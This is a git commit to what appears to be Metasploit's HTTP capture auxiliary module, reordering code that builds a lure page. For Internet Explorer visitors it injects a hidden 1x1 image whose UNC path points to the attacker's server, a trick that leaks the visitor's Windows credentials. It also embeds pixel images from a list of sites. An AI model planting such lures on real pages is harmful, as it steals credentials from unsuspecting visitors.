Place the UNC url last

git-svn-id: file:///home/svn/framework3/trunk@5487 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2008-04-21 22:02:39 +00:00
parent 2084024822
commit 70fde3052d
1 changed files with 4 additions and 4 deletions

View File

@ -254,10 +254,6 @@ class Auxiliary::Server::Capture::HTTP < Msf::Auxiliary
buff = ''
if(ua_name == "IE")
buff << "<img src='\\\\#{mysrc}\\public#{Time.now.to_i.to_s}\\loading.jpg' width='1' height='1'>"
end
list = File.readlines(@sitelist)
list.each do |site|
next if site =~ /^#/
@ -266,6 +262,10 @@ class Auxiliary::Server::Capture::HTTP < Msf::Auxiliary
buff << "<img src='http://#{site}/pixel.gif'>"
end
if(ua_name == "IE")
buff << "<img src='\\\\#{mysrc}\\public#{Time.now.to_i.to_s}\\loading.jpg' width='1' height='1'>"
end
data = File.read(@template)
data.gsub!(/%CONTENT%/, buff)